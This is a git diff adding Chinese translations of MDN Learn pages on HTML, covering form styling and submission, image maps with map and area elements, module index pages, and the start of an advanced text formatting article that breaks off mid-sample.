把按钮放到和文本输入框一样的位置 */ + padding-left: 90px; /* 和label的大小一样 */ +} + +button { + /* 这个外边距的大小与label和文本输入框之间的间距差不多 */ + margin-left: .5em; +}</pre> + +<p>现在,它看起来没那么丑了。</p> + +<p><img alt="" src="https://developer.mozilla.org/files/4051/form-style.png"></p> + +<div class="note"> +<p><strong>注意</strong>: 你可以在GitHub上的这里找到它 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form-styled.html">first-form-styled.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form-styled.html">也可以在这儿看运行结果</a>).</p> +</div> + +<h2 id="向您的web服务器发送表单数据">向您的web服务器发送表单数据</h2> + +<p>最后一部分,也许是最棘手的部分,是在服务器端处理表单数据。如前所述,大多数时候HTML表单是向用户请求数据并将其发送到web服务器的一种方便的方式。</p> + +<p>{{HTMLelement("form")}} 元素将定义如何通过<code>action</code> 属性和 <code>method</code>属性来发送数据的位置和方式。</p> + +<p>但这还不够。我们还需要为我们的数据提供一个名称。这些名字对双方都很重要:在浏览器端,它告诉浏览器给数据各自哪个名称,在服务器端,它允许服务器按名称处理每个数据块。</p> + +<p>要将数据命名为表单,您需要在每个表单小部件上使用 <code>name</code> 属性来收集特定的数据块。让我们再来看看我们的表单代码:</p> + +<pre class="brush:html; notranslate"><form action="/my-handling-form-page" method="post"> + <div> + <label for="name">Name:</label> + <input type="text" id="name" name="user_name"> + </div> + <div> + <label for="mail">E-mail:</label> + <input type="email" id="mail" name="user_email"> + </div> + <div> + <label for="msg">Message:</label> + <textarea id="msg" name="user_message"></textarea> + </div> + + ...</pre> + +<p>在我们的例子中,表单会发送三个已命名的数据块 "<code>user_name</code>", "<code>user_email</code>", 和 "<code>user_message</code>"。这些数据将用使用<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST">HTTP <code>POST</code></a> 方法,把信息发送到URL为 "<code>/my-handling-form-page</code>"目录下。</p> + +<p>在服务器端,位于URL"<code>/my-handling-form-page</code>" 上的脚本将接收的数据作为HTTP请求中包含的3个键/值项的列表。这个脚本处理这些数据的方式取决于您。每个服务器端语言(PHP、Python、Ruby、Java、c等等)都有自己的机制。深入到这个主题已经超出了本指南的范围,但是如果您想了解更多,我们已经在<a href="/zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">发送表单数据</a>文章中提供了一些示例。 </p> + +<h2 id="总结">总结</h2> + +<p>祝贺您,您已经构建了您的第一个HTML表单。它看起来就像这样:</p> + +<p>{{ EmbedLiveSample('A_simple_form', '100%', '240', '', 'Learn/HTML/Forms/Your_first_HTML_form/Example') }}</p> + +<p>然而,这仅仅是开始,现在是时候深入研究了。HTML表单比我们在这里看到的要强大得多,本指南的其他文章将帮助您掌握其余部分。</p> + +<p>{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}</p> diff --git a/files/zh-cn/learn/html/forms_and_buttons/index.html b/files/zh-cn/learn/html/forms_and_buttons/index.html new file mode 100644 index 0000000000..a0f74f6ef1 --- /dev/null +++ b/files/zh-cn/learn/html/forms_and_buttons/index.html @@ -0,0 +1,43 @@ +--- +title: 表单和按钮 +slug: learn/HTML/Forms_and_buttons +tags: + - 初学者 + - 指引 + - 文章 + - 表单 +translation_of: Learn/HTML/Forms_and_buttons +--- +<p>{{draft}}{{LearnSidebar}}</p> + +<p class="summary">表单和按钮是Web的一个非常重要的部分 - 这些允许您的站点访问者输入数据并将其发送给您(例如注册,登录和反馈表单),并且您可以实现控制以控制复杂功能(例如提交表单) 到服务器,或暂停播放视频。)这个模块可以帮助您入门。</p> + +<h2 id="先决条件">先决条件</h2> + +<p>在开始本单元之前,您应该对<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML的基础知识</a>有一定的了解,如HTML简介中所述。 如果你没有通过这个模块(或类似的东西),先完成它,然后再回来!</p> + +<div class="note"> +<p><strong>Note</strong>: 如果你是在计算机/平板电脑等其他你无法创建文件的设备上的话,你可以尝试在在线代码编辑平台上运行代码例如 <a class="external external-icon" href="http://jsbin.com/" rel="noopener">JSBin</a> 或 <a class="external external-icon" href="https://thimble.mozilla.org/" rel="noopener">Thimble</a>.</p> +</div> + +<h2 id="向导">向导</h2> + +<p>本模块包含以下的文章</p> + +<dl> + <dt><a href="/en-US/docs/Learn/HTML/Forms_and_buttons/Basics">表单和按钮基础知识</a>(Form and button basics)</dt> + <dd> 在本文中,我们将向您介绍HTML表单的基础知识,包括它们的用途,基本功能和常用表单控件。 我们还将了解HTML按钮以及如何使用它们。</dd> + <dt>形成语义和结构</dt> + <dd> 存在许多元素,允许我们将表单结构化为更易于使用和访问 - 其中一些是专门的表单元素,其中一些是通用HTML容器。 在本文中,我们将介绍创建表单结构的最佳实践。</dd> + <dt>高级表单功能</dt> + <dd> 在这里,我们将介绍HTML表单中可用的一些更高级的功能,例如数据列表,进度条,滑块以及最小值和最大值。</dd> + <dt>表格验证</dt> + <dd> 在我们的最终表单文章中,我们将讨论表单验证,讨论为什么有必要,并查看HTML选项卡提供的一些功能,以便客户端验证表单数据。</dd> +</dl> + +<h2 id="练习">练习</h2> + +<dl> + <dt>表单练习</dt> + <dd>等待完成(to be done)</dd> +</dl> diff --git a/files/zh-cn/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html b/files/zh-cn/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html new file mode 100644 index 0000000000..450e30b9eb --- /dev/null +++ b/files/zh-cn/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html @@ -0,0 +1,119 @@ +--- +title: Add a hit map on top of an image +slug: learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image +translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image +--- +<div class="summary"> +<p>现在我们将学习如何设置图像映射,先讨论他的缺点。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>你应该已经知道如何<a href="/en-US/Learn/HTML/Write_a_simple_page_in_HTML">create a basic HTML document</a> 以及<a href="/en-US/Learn/HTML/Howto/Add_images_to_a_webpage">add accessible images to a webpage.</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何将一张图片的不同区域链接到不同页面。</td> + </tr> + </tbody> +</table> + +<div class="warning"> +<p>本文仅讨论客户端图像映射。不要使用服务器端图像映射,这需要用户拥有鼠标。</p> +</div> + +<h2 id="图像映射和它的缺点">图像映射和它的缺点</h2> + +<p>当你在{{htmlelement('a')}}标签中嵌套图像, 整个图像是链接到一个网页的。但在图像映射中,包含多个活动区域(称为“热点”),可以链接到不同的资源地址。</p> + +<p>图像映射原本非常流行于导航策略,但是前提需要考虑它的性能和可访问性。</p> + +<p><a href="https://developer.mozilla.org/en-US/Learn/HTML/Howto/Create_a_hyperlink">Text links</a> (perhaps styled with CSS) 比图像映射更具优势:文本链接更轻量级、好维护、更易于SEO,而且支持更多形式需求的访问(如,屏幕阅读器、纯文本浏览器、翻译服务等)。</p> + +<h2 id="如何正确的插入一张图像映射">如何正确的插入一张图像映射</h2> + +<h3 id="步骤1_图片">步骤1: 图片</h3> + +<p>不是所有图片都合适。</p> + +<ul> + <li>图片必须明确表明当用户跟随图片链接时会发生什么。 <code>alt</code> 属性是必须的, 但很多人注意不到。</li> + <li>图片必须明确指出热点的开始和结束位置。</li> + <li>在任何尺寸的视口下,热点都需要足够大,方便用户可以点击。多大足够呢?<a href="http://uxmovement.com/mobile/finger-friendly-design-ideal-mobile-touch-target-sizes/">72 × 72 CSS pixels 是一个推荐的最小尺寸,</a> 包括触摸目标之间额外的间隙。在 <a href="http://www.goethe-verlag.com/book2/">50languages.com</a> (as of time of writing) 上的世界地图可以完美诠释这一点。 用户点击Russia 或 North America 要比 Albania 或 Estonia容易得多。</li> +</ul> + +<p>插入图片的方式 <a href="http://developer.mozilla.org/en-US/Learn/HTML/Howto/Add_images_to_a_webpage">和通常一样</a> (用 {{htmlelement("img")}} 标签 和 {{htmlattrxref("alt",'img')}} 文本). 如果图片只是用作导航容器, 你可以设置图片的 <code>alt="", 改在后面</code>{{htmlelement('area')}} 的{{htmlattrxref("alt",'area')}} 中提供合适的文本。</p> + +<p>你将需要一个特殊的 {{htmlattrxref("usemap","img")}} 属性。 为图像映射提供一个唯一标识,这个标识不能包含空格。将这个标识 (preceded by a hash) 作为 <code>usemap</code> 属性的值:</p> + +<pre class="brush: html"><img + src="image-map.png" + alt="" + usemap="#example-map-1" /></pre> + +<h3 id="步骤2_激活你的热点">步骤2: 激活你的热点</h3> + +<p>在这一步中, 将所有代码放置 {{htmlelement('map')}} 标签中. <code><map></code> 只需要一个属性, 设置{{htmlattrxref("name","map")}} 和上面<code>usemap属性一样的map值:</code></p> + +<pre class="brush: html"><map name="example-map-1"> + +</map></pre> + +<p><code>在<map></code> 元素中,我们需要嵌套 {{htmlelement('area')}} 元素。一个 <code><area></code> 元素对应一个热点.。为保持键盘导航的直观, 请确保<code><area></code> 的源顺序和视觉上的热点顺序一致。</p> + +<p><code><area></code> 元素是空元素, 但是需要包含4个属性:</p> + +<dl> + <dt>{{htmlattrxref('shape','area')}}</dt> + <dt>{{htmlattrxref('coords','area')}}</dt> + <dd> + <p><code>shape</code> 有4个值: <code>circle</code>, <code>rect</code>, <code>poly</code>, and <code>default</code>. ( <code>default</code> <code><area></code> 表示除去您定义的其他热点的剩余空间.) 根据你选择的形状需要在 <code>coords</code> 中提供对应的坐标信息。</p> + + <ul> + <li>对于circle, 提供中心的x、y坐标,还需要提供半径。</li> + <li>对于rectangle, 提供左上角和右下角的x、y坐标。</li> + <li>对于polygon, 提供每个角的x、y坐标(至少6个值)。</li> + </ul> + + <p>坐标用CSS像素px表示。</p> + + <p>In case of overlap, source order carries the day.</p> + </dd> + <dt>{{htmlattrxref('href','area')}}</dt> + <dd>您需要链接的资源地址。 如果您不希望当前区域链接到任何地方(比方说,如果您正在创建一个空心圆),您可以将这个属性保留为空。</dd> + <dt>{{htmlattrxref('alt','area')}}</dt> + <dd>一个必选属性,告诉用户链接的指向或功能说明。<code>alt</code> 文本仅在图像不可用时显示。请参阅我们的<a href="https://developer.mozilla.org/en-US/Learn/HTML/Howto/Create_a_hyperlink#Writing_accessible_link_text">guidelines for writing accessible link text</a>。</dd> + <dd> + <p>如果 <code>href</code> 属性为空并且整个图像已经具备了<code>alt</code> 属性,则可以设置 <code>alt=""。</code></p> + </dd> +</dl> + +<pre class="brush: html"><map name="example-map-1"> + <area shape="circle" coords="200,250,25" + href="page-2.html" alt="circle example" /> + + + <area shape="rect" coords="10, 5, 20, 15" + href="page-3.html" alt="rectangle example" /> + +</map></pre> + +<h3 id="步骤3_确保它的可用范围">步骤3: 确保它的可用范围</h3> + +<p>你还并没有完成除非你很严格的在多个浏览器和终端测试图像映射功能。尝试仅用键盘操作。尝试关掉图片。</p> + +<p>如果你的图像映射宽度大于240px,你将需要进一步调整来适应网站的响应式。仅调整小屏幕下的图片是不够的,因为不变的坐标无法适应这样的图像。</p> + +<p>如果必须使用图像映射, 您可以看看<a href="https://github.com/stowball/jQuery-rwdImageMaps">Matt Stow's jQuery plugin.</a>。另外, Dudley Storey 示范了一种方法 <a href="http://thenewcode.com/696/Using-SVG-as-an-Alternative-To-Imagemaps">use SVG for an image map effect</a>,以及后来的<a href="http://thenewcode.com/760/Create-A-Responsive-Imagemap-With-SVG">ombined SVG-raster hack</a> for bitmap images.</p> + +<h2 id="Learn_more">Learn more</h2> + +<ul> + <li>{{htmlelement("img")}}</li> + <li>{{htmlelement("map")}}</li> + <li>{{htmlelement("area")}}</li> + <li><a href="http://www.maschek.hu/imagemap/imgmap">Online image map editor</a></li> + <li><a href="http://blog.goolara.com/2014/06/05/image-maps-revisited/">Advice on handling email clients</a></li> +</ul> diff --git a/files/zh-cn/learn/html/howto/index.html b/files/zh-cn/learn/html/howto/index.html new file mode 100644 index 0000000000..cf467bb4cf --- /dev/null +++ b/files/zh-cn/learn/html/howto/index.html @@ -0,0 +1,157 @@ +--- +title: 使用 HTML 解决常见问题 +slug: learn/HTML/Howto +tags: + - HTML + - 常见问题 +translation_of: Learn/HTML/Howto +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">下面的链接指向日常中需要用HTML解决的问题的解决方案。</p> + +<div class="column-container"> +<div class="column-half"> +<h3 id="基本结构">基本结构</h3> + +<p>HTML应用最基础的是文档结构。如果你是HTML新手那么你应该和我们一起从这里开始学习.</p> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started#实践操作_创建你的第一个HTML文档">如何创建HTML文档</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Divide_a_webpage_into_logical_sections">如何将网页分成有逻辑的段落</a></li> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#The_basics_headings_and_paragraphs">如何设置一个适当的标题和段落结构</a></li> +</ul> + +<h3 id="基本文本语义">基本文本语义</h3> + +<p>HTML专门为文档提供语义信息,因此,HTML能够解答关于如何在文档中最好地传递消息的许多问题。</p> + +<ul> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">如何用HTML创建列表项</a></li> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">如何强调或凸显内容</a></li> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">如何表明文本是重要的</a></li> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Representing_computer_code">如何用HTML展示计算机代码</a></li> + <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Annotating_images_with_figures_and_figure_captions">如何注释图片和图标</a></li> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">如何注解缩略语并使其可理解</a></li> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Quotations">如何为网页添加引述和引用</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Define_terms_with_HTML">如何用HTML定义术语</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="超链接">超链接</h3> + +<p>使用HTML的主要原因之一,就是可以使用{{Glossary("hyperlink", "hyperlinks")}}来轻松导航,实现方式有以下几种:</p> + +<ul> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">如何创建超链接</a></li> + <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">如何利用HTML创建表格</a></li> +</ul> + +<h3 id="图像_多媒体">图像 & 多媒体</h3> + +<ul> + <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage">如何在页面中添加图片</a></li> + <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">如何在页面中添加视频</a></li> + <li><font color="#0b0116"><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">如何在页面中添加音频</a></font></li> +</ul> + +<h3 id="脚本_样式">脚本 & 样式</h3> + +<p>HTML仅仅建立了文档结构。为解决演示文稿问题,可使用{{glossary("CSS")}}或脚本令页面交互。</p> + +<ul> + <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">如何在网页中使用CSS</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage">如何在网页中使用JavaScript</a></li> +</ul> + +<h3 id="嵌入内容">嵌入内容</h3> + +<ul> + <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">如何在网页中嵌入另一个页面</a></li> + <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_%3Cembed%3E_and_%3Cobject%3E_elements">如何在网页中加入Flash内容</a></li> +</ul> +</div> +</div> + +<h2 id="进阶问题">进阶问题</h2> + +<p>除了基本问题,HTML还有更丰富的功能,其提供了高级特性用于解决复杂问题.这些文章可以帮助你解决一些相对不常见的问题:</p> + +<div class="column-container"> +<div class="column-half"> +<h3 id="表单">表单</h3> + +<p>表单是一种复杂的HTML结构,用于从网页向网络服务器发送数据.我们鼓励你仔细阅读<a href="/en-US/docs/Web/Guide/HTML/Forms">完整指南</a>.你可由此入门:</p> + +<ul> + <li><a href="/en-US/docs/Web/Guide/HTML/Forms/My_first_HTML_form">如何创建一个简单的网页表单</a></li> + <li><a href="/en-US/docs/Web/Guide/HTML/Forms/How_to_structure_an_HTML_form">如何结构化一个网页表单</a></li> +</ul> + +<h3 id="表格信息">表格信息</h3> + +<p>一些表格化信息/数据需用行和列整合到表格中去. 而表格是最复杂的HTML结构之一,熟练掌握它并不容易:</p> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Howto/Create_a_data_spreadsheet">如何创建一张数据电子表格</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Make_HTML_tables_accessible">如何使HTML表格可获取</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Optimize_HTML_table_rendering">如何优化HTML表格的展现</a></li> +</ul> + +<h3 id="数据表示">数据表示</h3> + +<ul> + <li><a href="/en-US/docs/Learn/HTMLHowto/Represent_numeric_values_with_HTML">如何用HTML表示数值</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">如何使用数据属性</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Associate_human_readable_content_with_arbitrary_computer_data_structures">如何关联人类可读内容与无序的计算机数据结构</a></li> +</ul> + +<h3 id="互动">互动</h3> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Howto/Create_collapsible_content_with_HTML">如何用HTML创建收缩内容</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Add_context_menus_to_a_webpage">如何为网页添加内容目录</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Create_dialog_boxes_with_HTML">如何用HTML创建对话框</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="高级文本语义">高级文本语义</h3> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Howto/Take_control_of_HTML_line_breaking">如何控制HTML换行</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Mark_text_insertion_and_deletion">如何标注更改(新增和已删除文本)</a></li> +</ul> + +<h3 id="高级图像_多媒体">高级图像 & 多媒体</h3> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">如何为网页添加可响应图像</a></li> + <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">如何为网页添加矢量图像</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">如何在图像上添加热区</a></li> +</ul> + +<h3 id="国际化">国际化</h3> + +<p>HTML支持多语言. 其提供了用于解决常见的国际化问题的工具.</p> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Howto/Add_multiple_languages_into_a_single_webpage">如何为单一网页添加多语言支持</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Handle_Japanese_ruby_characters">如何处理日语字符</a></li> + <li><a href="/en-US/docs/Learn/HTML/Howto/Display_time_and_date_with_HTML">如何用HTML展现时间和日期</a></li> +</ul> + +<h3 id="性能">性能</h3> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Howto/Author_fast-loading_HTML_pages">如何创造快速加载的HTML页面</a></li> +</ul> +</div> +</div> + +<p><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span> </p> + +<p> + <audio style="display: none;"></audio> +</p> diff --git a/files/zh-cn/learn/html/index.html b/files/zh-cn/learn/html/index.html new file mode 100644 index 0000000000..6e4c0162a8 --- /dev/null +++ b/files/zh-cn/learn/html/index.html @@ -0,0 +1,57 @@ +--- +title: 学习 HTML :指南与教程 +slug: learn/HTML +tags: + - HTML + - HTML5 + - 主题 + - 入门指导 + - 基础 + - 学习 + - 新手 + - 简介 +translation_of: Learn/HTML +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">为了创建网站,你应该了解 {{Glossary('HTML')}} —— 用于定义一个网页结构的基本技术。HTML 用于表示你的网页内容是应该被理解为段落、列表、头部、链接、图像、多媒体播放器、表单或是其他众多可用的元素之一亦或是你定义的新元素。</p> + +<h2 id="学习路径">学习路径</h2> + +<p>理论上来说你的学习旅途应该从学 HTML 开始。先阅读 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML 介绍</a>。此后你便能够继续学习更多高级的主题,例如:</p> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS">CSS </a>,以及如何用它装饰 HTML (例如:更改你的文本字号和字体,添加边框和阴影,将你的页面设计成多栏布局,添加动画和其他视觉效果。)</li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript">JavaScript</a> ,以及如何用它为网页添加动态功能(例如:找到你的地址并且在地图上绘制出来,触发按钮时让 UI 元素显示或消失,将用户的数据本地储存在他们的电脑里,以及更多。)</li> +</ul> + +<p>在开始这个主题的学习之前,你至少要基本熟悉使用电脑和被动地使用网络(即单纯地查看内容)。你应该设置好一个基础的工作环境,详细参照<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a>,并且理解如何新建和管理文件,详细参照<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>——这两者都在 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web">Web 入门</a>的完全新手模块里。</p> + +<p>在尝试学习这个主题之前,建议先完成 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web">Web 入门</a>,不过这并不是绝对必要的。<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础 </a>里大多数的文章在 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML 介绍</a> 模块里也有,虽然有很多额外的细节。</p> + +<h2 id="模块">模块</h2> + +<p>这个主题由包含以下模块,建议按顺序进行学习。很显然,你要从第一个开始。</p> + +<dl> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML 介绍</a></dt> + <dd>这一模块将为你铺路,帮你习惯一些重要的概念和语法,着眼于如何对文本应用 HTML ,如何创造超链接,以及如何使用 HTML 构造一个网页。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding">多媒体与嵌入</a></dt> + <dd>这个模块带你探索如何使用 HTML 在你的网页里如何包含多媒体信息,包含如何用各种方法包含图片,以及如何嵌入视频、音频,甚至是嵌入其他完整的网页。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Tables">HTML 表格</a></dt> + <dd>在网页上用易于理解和可访问({{glossary("Accessibility", "accessible")}})的方式来表示表格数据是一项挑战。这个模块包括了基本的表格标记,还有更多复杂的特性,例如实现标题和总结。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Forms">HTML 表单</a></dt> + <dd>表单是网页中十分重要的一部分——它们会提供网站交互需要的很多功能(例如:注册,登录,发送反馈,购物等等)。这个模块将带你开始创建表单的客户端部分。</dd> +</dl> + +<h2 id="解决常见的_HTML_问题">解决常见的 HTML 问题</h2> + +<p><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Howto">使用 HTML 解决常见问题</a>提供了一系列在创建网页过程中遇到的常见问题的解决方案:处理标题,添加图片或视频,强调内容,创建一个基础表单等等。</p> + +<h2 id="相关链接">相关链接</h2> + +<dl> + <dt>MDN 上的 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML">HTML(超文本标记语言)</a></dt> + <dd>这是 HTML 文档在 MDN 上的主入口,涵盖了详细的元素和属性参考——比如说如果你想知道一个元素有什么属性或者一个属性有什么值,这是一个查询它们的好地方。</dd> + <dt></dt> +</dl> diff --git a/files/zh-cn/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/zh-cn/learn/html/introduction_to_html/advanced_text_formatting/index.html new file mode 100644 index 0000000000..cbeed8e8a0 --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -0,0 +1,632 @@ +--- +title: 高阶文字排版 +slug: learn/HTML/Introduction_to_HTML/Advanced_text_formatting +tags: + - 上下标 + - 代码 + - 引文 + - 引用 + - 描述列表 + - 缩略语 +translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/文件和网站结构", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">HTML中有许多其他元素可以用于格式化文本,我们没有在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理基础</a>中提到它们。本文中所描述的元素虽然少有人知,但仍然值得去学习(尽管仍然不是完整的列表)。在这里你将了解标记引文、描述列表、计算机代码和其他相关文本、下标和上标、联系信息等。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>熟悉 HTML 基础(包含在 <a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a> 中)、HTML 文本格式(包含在 <a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a> 中)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习一些不常见的 HTML 元素标记来使用高级语义功能。</td> + </tr> + </tbody> +</table> + +<h2 id="描述列表">描述列表</h2> + +<p>在 HTML 基础部分,我们讨论了如何在 HTML 中<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#列表_Lists">标记基本的列表</a>,但是我们没有提到你偶尔会遇到的第三种类型的列表—<strong>描述列表</strong> (description list) <strong>。</strong>这种列表的目的是标记一组项目及其相关描述,例如术语和定义,或者是问题和答案等。让我们看一组术语和定义的示例:</p> + +<pre class="notranslate">内心独白 +戏剧中,某个角色对自己的内心活动或感受进行念白表演,这些台词只面向观众,而其他角色不会听到。 +语言独白 +戏剧中,某个角色把自己的想法直接进行念白表演,观众和其他角色都可以听到。 +旁白 +戏剧中,为渲染幽默或戏剧性效果而进行的场景之外的补充注释念白,只面向观众,内容一般都是角色的感受、想法、以及一些背景信息等。</pre> + +<p>描述列表使用与其他列表类型不同的闭合标签— {{htmlelement("dl")}}; 此外,每一项都用 {{htmlelement("dt")}} (description term) 元素闭合。每个描述都用 {{htmlelement("dd")}} (description description) 元素闭合。让我们来完成下面的标记例子:</p> + +<pre class="brush: html notranslate"><dl> + <dt>内心独白</dt> + <dd>戏剧中,某个角色对自己的内心活动或感受进行念白表演,这些台词只面向观众,而其他角色不会听到。</dd> + <dt>语言独白</dt> + <dd>戏剧中,某个角色把自己的想法直接进行念白表演,观众和其他角色都可以听到。</dd> + <dt>旁白</dt> + <dd>戏剧中,为渲染幽默或戏剧性效果而进行的场景之外的补充注释念白,只面向观众,内容一般都是角色的感受、想法、以及一些背景信息等。</dd> +</dl></pre> + +<p>浏览器的默认样式会在<strong>描述列表的描述部分</strong>(description description)和<strong>描述术语</strong>(description terms)之间产生缩进。MDN非常严密地遵循这一惯例,同时也鼓励关于术语的其他更多的定义(but also embolden the terms for extra definition)。</p> + +<p>下面是前述代码的显示结果:</p> + +<dl> + <dt>内心独白</dt> + <dd>戏剧中,某个角色对自己的内心活动或感受进行念白表演,这些台词只面向观众,而其他角色不会听到。</dd> + <dt>语言独白</dt> + <dd>戏剧中,某个角色把自己的想法直接进行念白表演,观众和其他角色都可以听到。</dd> + <dt>旁白</dt> + <dd>戏剧中,为渲染幽默或戏剧性效果而进行的场景之外的补充注释念白,只面向观众,内容一般都是角色的感受、想法、以及一些背景信息等。</dd> +</dl> + +<p>请注意:一个术语 <code><dt></code> 可以同时有多个描述 <code><dd></code>,比如说:</p> + +<dl> + <dt>旁白</dt> + <dd>戏剧中,为渲染幽默或戏剧性效果而进行的场景之外的补充注释念白,只面向观众,内容一般都是角色的感受、想法、以及一些背景信息等。</dd> + <dd>写作中,指与当前主题相关的一段内容,通常不适于直接置于内容主线中,因此置于附近的其它位置(通常位于主线内容旁边一个文本框内)。</dd> +</dl> + +<h3 id="主动学习_标记一组定义">主动学习: 标记一组定义</h3> + +<p>现在是时候尝试一下描述列表了; 在输入区域的原始文本里添加相应的元素,使得它在输出区域是以描述列表的形式出现。如果你喜欢,你也可以使用你自己的描述术语和描述。</p> + +<p>如果你做错了,你可以随时点击【重置】按钮。如果实在进行不下去,可以点击【显示答案】。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 160px; } + .input { min-height: 160px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" 